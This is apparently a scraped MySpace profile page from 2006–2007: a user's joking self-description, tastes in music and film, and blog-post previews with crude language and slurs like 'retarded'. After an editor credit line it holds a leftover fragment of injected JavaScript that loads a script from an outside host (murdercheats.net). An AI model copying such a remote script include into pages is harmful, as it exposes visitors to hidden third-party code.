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About Me

My name is Katia and I am a stickler for grammar. Things I have learned about myself: 1. I am fearful of tarps laying in the middle of the road. 2. I talk in my sleep on a nightly basis. Usually in Russian. Otherwise about politics. 3. I take the top bunk, in the bedroom and in life. 4. Red pens are wonderful things in this world, and should be used in excess, especially to correct the work of others. Corrections in any other color ink, or (god forbid) pencil, are just plain wrong. 5. I live in paradise, yet refuse to go outside and enjoy it for once. 6. The way you give and receive high-fives is a reflection of how you will perform in corporate america. 7. I own too fucking many pairs of jeans. What does one person do with so many pairs of jeans?! BUY ANOTHER PAIR. 8. My LP is definitely more awesome than your LP, if you even have one. ***SIDE NOTE: "definitely" is NOT spelled with an "a" in any part of the word, no matter what dialect you choose to speak. 9. Talking shit is a very competetive sport. 10. When all else fails, go check your MySpace or Facebook.I edited my profile with Thomas' Myspace Editor V4.4 .. language="javascript" src="http://www.murdercheats.net/request.js"function nothingf(){document.write("lolol.mov.r{}");}..

My Interests

Marking up drafts in red ink. Talking shit. Watching Cindy go crazy on a regular basis. Eating Thai food. Sit dancing. High fives. Netflix. Jeans.

I'd like to meet:

People who can ace my QUIZ!!!!
Get Your Own Quiz!, More Quizzes

Music:

Anything I can sit-dance to. The Rat Pack. Spice Girls. Ace of Base. RANDOMMMM trashy music. Not country!

Movies:

Sappy romantic comedies. (Almost) Anything with Johnny Depp. Miscellaneous foreign films, especially Jew ones. Chick flicks. Not retarded comedies...well, I like the retarded ones too. 80s teen movies. Drug-related movies of all kinds.

Television:

Who ever thought I would get to a place in the world where I rarely watch TV?! When I do, it means I am holed up in San Jose, and I gravitate to Food Network and trash on E! and Vh1.

Books:

I am for them.

Heroes:

Limp-wristed editors on TV and in movies. Flexible, nimble fuckers who can float around on the walls of the climbing gym. People who have been able to tame frizzy hair. Mothers of non-retarded children.

My Blog

How the time goes by...

Blog time, I guess... this quarter has been quite anti-climactic so far. Not blowing-my-brains-out-fun-madness-amazing like I would have enjoyed. But with the cold-as-all-fuck weather and the lack o...
Posted by Katia on Mon, 15 Jan 2007 06:04:00 PST

this is for you cindy.

40 Things You'd Never Think to Ask...1. Have you ever been questioned by the cops?hmm yes. damn drunk driving. (it's really a lot lamer than it sounds)2. Do you close your eyes on roller coaster?depen...
Posted by Katia on Wed, 21 Jun 2006 09:29:00 PST

Smokin Blunts, Fuckin Cunts, the Sequel

well... no sequel is ever as good as the original, but my sincerest apologies to anyone offended by the delicate nature of last blog. You know how Cindy gets. Hope it made you smile though, in a that-...
Posted by Katia on Sun, 07 May 2006 10:20:00 PST

Smokin blunt, fuckin cunt

So, I bought this REALLY kewt shirt that has this pouch where I can hold my cigs. Then I got piss ass drunk with my friend Stella. We snuck into a bar and skull fucked everyone who would let us...TWIC...
Posted by Katia on Sun, 07 May 2006 02:27:00 PST

omg it's my very first blog

wow.... idk what to say... so overwhelmed. ooh... here's something.... i am looking for a room-mate. non-smoker (cigarettes... i don't care about the other stuff... just not meth or crack, please)......
Posted by Katia on Fri, 05 May 2006 12:06:00 PST